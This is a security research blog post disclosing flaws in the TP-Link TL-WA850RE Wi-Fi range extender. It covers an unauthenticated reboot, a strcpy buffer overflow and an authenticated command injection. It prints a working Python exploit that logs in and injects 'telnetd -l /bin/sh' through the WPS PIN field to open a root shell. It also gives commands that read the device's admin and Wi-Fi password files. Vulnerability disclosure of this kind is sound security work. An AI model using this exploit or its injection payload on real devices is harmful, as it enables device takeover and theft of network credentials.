The (in)security of the TP-Link Technologies TL-WA850RE Wi-Fi Range Extender*

Advisability
Jun 20, 2018 · 6 min read

How your home wifi range extender can get you pwned. * We tried to contact TP-LINK via https://www.tp-link.com/us/security for about one month without any success or response.

#TLDR

In this post, multiple vulnerabilities and a Proof of Concept (PoC) 0day exploit allowing authenticated remote command execution on the TP-Link’s Technologies TL-WA850RE Wi-Fi Range Extender is presented.

Introduction

TP-Link’s TL-WA850RE Wi-Fi Range Extender is a popular home network device that sits on your network. The device can work either by acting as a range extender or access point. When acting as a range extender the device requires to be set up by selecting the wireless network to be extended, providing the password for this network, setting up a password for the device’s network as well as set up a device’s admin password. The whole communication between the device and the browser travels unsecured in HTTP. Not even a self-signed certificate is used for the communication.

Insecure HTTP communications

The Device

The device permits firmware updates. The firmware can be easily extracted with binwalk to find an embedded Linux busybox distribution.

squashfs root
/etc/

A quick analysis reveals a hashed password readily cracked on the internet as “sohoadmin”. Remote SSH, however, is disabled.

Digging further on the bootup process we find an HTTP daemon (httpd) is started by /etc/rc.d/rcS.

Other processes are started in rc.init

With this quick analysis we find that our target binary is httpd.

Disassembling httpd

httpd is a MIPS 32 binary that can be disassembled with IDA to understand its inner workings.

An HTTP daemon is a complex process so we need a strategy to quickly get an overview of how it works. By noticing the web app works by posting and reading data to .json endpoints we were able to locate a function that initializes the device’s endpoints.

Init register

The function httpRpmConfAddAndRegisterFile is called to associate every endpoint (see below /fs/data/reboot.json ) with a function (below sub_424470)

Let’s continue to analyze public vulnerabilities on the binary and try to find a 0day.

Denial of Service —Unauthenticated Remote Reboot

The device can be rebooted without any restriction or authentication as reported by Wadeek

Proof of concept:

From the previous section we know that sub_424470 is executed on the endpoint data/reboot.json . By checking the function we verify no authentication or verification is performed as was reported.

The functionality that requires authentication works by calling the function wmAuthIsClientAuthencated as follows

Low Hanging Fruits

A well known insecure coding anti-pattern leading to buffer overflows is feeding user-controlled input into strcpy without any length checking. Other reports show this anti-pattern from TP-LINK’s developers.

After some minutes, the first vulnerability of this kind popped up.

In the endpoint /data/syslog.filter.json the “type” parameter is read from the environment httpGetEnv and fed into strcpy without length checking.

If we overflow the type parameter while being authenticated the device will stop working.

operation=write&type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&level=ALL

Before examining how to further exploit this vulnerability to obtain RCE we find another vulnerability of the same kind in the endpoint /data/wps.setup.json.

However this time we are lucky enough to find that user controlled input is fed into a command executed at the device.

We have a 0day authenticated command injection vulnerability. This vulnerability is not hard to exploit taking into account all the communication with the device travels in clear text and thus can be obtained, perhaps rebooting the device until the user logs to verify the configuration.

A quick search on the internet shows that busybox can be injected with telnetd -l/bin/sh to obtain full control of the device .

Getting all the Passwords

After obtaining a root shell in the device we can further obtain all the passwords in clear text.

  • cat /config/account.config will show the device´s admin password MD5 (must be known — needed for the attack)
  • cat /config/wifi.config will show in clear text the device’s network password as well as the extended network password, Whitelists, blacklists, MACs, etc)

Proof of Concept

# Exploit Title: TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Command Execution
# Date: 19/06/2018
# Exploit Author: yoresongo - Advisability S.A.S Colombia (www.advisability.co)
# Vendor Homepage: https://www.tp-link.com/
# Firmware Link: https://www.tp-link.com/en/download/TL-WA850RE.html
# Tested on: Firmware Version TL-WA850RE_V5_180228
# Contact: yoresongo [at] advisability.co
import argparse
import requests
import hashlib
import telnetlib
parser = argparse.ArgumentParser(
description="Exploits TP-LINK WA850RE Command injection"
)
parser.add_argument("host", help="Host to attack.", type=str)
parser.add_argument("password", help="Extender's Password", type=str)
parser.add_argument(
"-C", "--cookie", help="Cookie id value.", type=str, default="1301a8c000c4c505"
)
args = parser.parse_args()
HOST = args.host
PASSWORD = args.password
COOKIE = args.cookie
cookies = {"gsScrollPos-8016": "0", "COOKIE": COOKIE}headers = {
"Origin": "http://%s/" % HOST,
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9,es;q=0.8",
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Referer": "http://%s/" % HOST,
"X-Requested-With": "XMLHttpRequest",
"Connection": "keep-alive",
"DNT": "1",
}
password = hashlib.md5(PASSWORD.encode("utf-8")).hexdigest().upper()
encoded = "%s:%s" % (password, COOKIE)
encoded = hashlib.md5(encoded.encode("utf-8")).hexdigest().upper()
data = [("operation", "login"), ("encoded", encoded), ("nonce", COOKIE)]# Payload
data_inject = [
("operation", "write"),
("option", "connect"),
("wps_setup_pin", "11480723;telnetd -l /bin/sh"),
]
with requests.Session() as s:
response = s.post(
"http://%s/data/login.json" % HOST, headers=headers, cookies=cookies, data=data
)
print(response.text)
# An authorised request.
r = s.get("http://%s" % HOST, headers=headers, cookies=cookies)
# print (r.text)
r = s.post(
"http://%s/data/wps.setup.json" % HOST,
headers=headers,
cookies=cookies,
data=data_inject,
)
tn = telnetlib.Telnet(HOST)
tn.interact()

Exploit links:

CVE:

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store